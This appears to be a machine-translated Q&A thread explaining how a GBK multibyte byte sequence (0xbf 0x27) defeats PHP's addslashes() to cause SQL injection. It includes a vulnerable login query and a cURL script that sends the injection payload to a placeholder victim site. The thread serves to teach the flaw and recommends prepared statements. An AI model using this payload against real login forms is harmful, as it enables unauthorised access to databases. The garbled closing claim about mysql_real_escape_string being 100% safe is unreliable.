PHPでは、mysql_real_escape
は、addslashes
を使用するよりもはるかに安全です。ただし、addslashes
によってSQLインジェクションが発生する状況の例を見つけることができませんでした。
誰でもいくつか例を挙げることができますか?
さて、 これはあなたが望む記事です 。
基本的に、攻撃が機能する方法は、addslashes()
を取得して、マルチバイト文字の途中にバックスラッシュを挿入し、バックスラッシュが有効なマルチバイトシーケンスの一部であることによって意味を失うようにすることです。
記事からの一般的な警告:
このタイプの攻撃は、
addslashes()
をエスケープして有効なマルチバイト文字を作成するようにだまされる可能性があるため、0x5c
で終わる有効なマルチバイト文字がある任意の文字エンコードで可能です。後に続く単一引用符。 UTF-8はこの説明に適合しません。
Chris Shiflett は、以下の例で明確に説明しています。データベースでGBKエンコーディングを使用するときに試してみれば、当然のことです。私が試してみても、これは非常に少ないにもかかわらず、SQLインジェクションの可能性があることを証明していますが、十分な知識と能力を持つ人は簡単に注入できます。ここに例があります...
<?php
$mysql = array();
$db = mysqli_init();
$db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
/* SQL Injection Example */
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'guess';
$mysql['username'] = addslashes($_POST['username']);
$mysql['password'] = addslashes($_POST['password']);
$sql = "SELECT * FROM users
WHERE username = '{$mysql['username']}'
AND password = '{$mysql['password']}'";
$result = $db->query($sql);
if ($result->num_rows) {
/* Success */
} else {
/* Failure */
}
?>
通常、addslashes()またはmagic_quotes_gpcの使用はある程度安全であると見なされますが、GBKを使用するとそれらはほとんど役に立たなくなります。次のPHP cURLスクリプトはインジェクションを利用できます。これがもう少し理解しやすくなることを願っています。
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
ここでの回答の読者への追加として:このMySQLのバグはすでに修正されています:)
また、準備済みステートメントを使用することは常に良い習慣です。これは、クエリを実行できる最も悪用のない方法です(いくつかのユースケースでは、最もパフォーマンスが高くなります)。そして、この欠陥からあなたを救ったでしょう。
mysql_real_escape_string()対Prepared Statements は明確に説明していますmysql_real_escape_string()は100%安全ではありません。
mysql_set_charset( 'GBK')を使用してmysql_query( "SET CHARACTER SET 'GBK'")、mysql_real_escape_string()は100%安全です。